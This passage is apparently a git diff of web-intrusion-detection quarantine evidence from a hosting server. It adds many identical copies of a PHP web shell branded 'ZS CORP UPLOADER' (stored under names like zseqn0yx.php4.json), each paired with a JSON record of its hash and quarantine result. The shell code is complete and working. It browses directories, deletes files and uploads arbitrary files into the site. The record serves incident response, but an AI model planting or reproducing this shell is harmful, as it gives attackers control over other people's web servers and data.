";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json.evidence.json new file mode 100644 index 0000000..e4ebc87 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2973", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924404, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json.evidence.json new file mode 100644 index 0000000..37203ba --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2986", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924413, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json.evidence.json new file mode 100644 index 0000000..a722033 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2965", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924413, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json.evidence.json new file mode 100644 index 0000000..6da0ac2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2985", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924414, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json.evidence.json new file mode 100644 index 0000000..b824657 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2976", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924415, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json.evidence.json new file mode 100644 index 0000000..953c63f --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2981", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924408, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json.evidence.json new file mode 100644 index 0000000..ed29772 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2990", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924407, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json.evidence.json new file mode 100644 index 0000000..71ad6c5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2987", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924396, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json.evidence.json new file mode 100644 index 0000000..58810b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2979", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924404, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json.evidence.json new file mode 100644 index 0000000..fc28d82 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2994", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924405, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json @@ -0,0 +1 @@ 